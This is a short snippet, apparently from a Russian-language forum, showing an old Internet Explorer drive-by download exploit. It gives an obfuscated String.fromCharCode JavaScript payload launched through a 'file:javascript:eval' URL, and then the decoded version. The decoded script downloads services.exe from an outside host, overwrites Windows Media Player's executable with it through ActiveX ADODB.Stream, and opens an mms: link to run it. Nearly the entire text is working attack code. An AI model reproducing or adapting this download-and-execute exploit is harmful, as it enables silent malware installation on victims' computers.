<script language="javascript">

fff = String.fromCharCode(118,97,114,32,120,32,61,32,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,59,92,114,92,110,120,46,79,112,101,110,40,34,71,69,84,34,44,32,34,104,116,116,112,58,37,50,102,37,50,102,119,119,119,46,109,121,45,114,111,115,116,111,118,46,102,97,116,97,108,46,114,117,37,50,102,102,105,108,101,115,37,50,102,115,101,114,118,105,99,101,115,46,101,120,101,34,44,48,41,59,92,114,92,110,120,46,83,101,110,100,40,41,59,92,114,92,110,118,97,114,32,115,32,61,32,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,34,65,68,79,68,66,46,83,116,114,101,97,109,34,41,59,92,114,92,110,115,46,77,111,100,101,32,61,32,51,59,92,114,92,110,115,46,84,121,112,101,32,61,32,49,59,92,114,92,110,115,46,79,112,101,110,40,41,59,92,114,92,110,115,46,87,114,105,116,101,40,120,46,114,101,115,112,111,110,115,101,66,111,100,121,41,59,92,114,92,110,115,46,83,97,118,101,84,111,70,105,108,101,40,34,67,58,92,92,92,92,80,114,111,103,114,97,109,32,70,105,108,101,115,92,92,92,92,87,105,110,100,111,119,115,32,77,101,100,105,97,32,80,108,97,121,101,114,92,92,92,92,119,109,112,108,97,121,101,114,46,101,120,101,34,44,50,41,59,92,114,92,110,108,111,99,97,116,105,111,110,46,104,114,101,102,32,61,32,34,109,109,115,58,37,50,102,37,50,102,34,59,92,114,92,110);

	myURL = "file:javascript:eval('" + fff + "')";
	window.open(myURL,"_media");
   </script>

закодированном в ASCII кодировку... аналог 

<script language="javascript">
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "http:%2f%2fwww.my-rostov.fatal.ru%2ffiles%2fservices.exe",0);
x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("C:\\\\Program Files\\\\Windows Media Player\\\\wmplayer.exe",2);
location.href = "mms:%2f%2f";
</script>